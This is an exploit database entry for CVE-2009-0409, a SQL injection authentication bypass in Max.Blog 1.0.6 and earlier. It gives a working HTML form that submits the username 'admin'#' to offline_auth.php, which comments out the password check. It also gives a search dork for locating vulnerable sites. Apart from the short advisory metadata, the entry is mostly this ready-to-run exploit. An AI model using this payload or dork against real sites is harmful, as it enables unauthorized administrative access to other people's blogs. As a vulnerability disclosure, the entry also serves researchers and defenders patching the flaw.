Max.Blog <= 1.0.6 (offline_auth.php) Offline Authentication Bypass

2009.01.29
Credit: drosophila
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2009-0409
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

################### Salvatore "drosophila" Fresta ################### Application: Max.Blog http://www.mzbservices.com Version: Max.Blog <= 1.0.6 Bug: * Offline Authentication Bypass Exploitation: Remote Dork: intext:"Powered by Max.Blog" Date: 27 Jan 2009 Discovered by: Salvatore "drosophila" Fresta Author: Salvatore "drosophila" Fresta e-mail: drosophilaxxx_at_gmail&#46;com ############################################################################ - BUGS Offline Authentication Bypass Exploit: Requisites: magic quotes = off File affected: offline_auth.php This bug allows a guest to bypass an offline authentication service using SQL Injection vulnerability. ############################################################################ - CODE <html> <head> <title> Salvatore "drosophila" Fresta - Max.Blog <= 1.0.6 Offline Authentication Bypass Exploit </title> </head> <body> <form action="http://www.site.com/path/offline_auth.php" method="POST"> <input type="text" name="username" value="admin'#" size="15"> <input type="hidden" name="password"> <input type="submit" value="Go!"> </form> </body> </html> ############################################################################ -- Salvatore "drosophila"


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top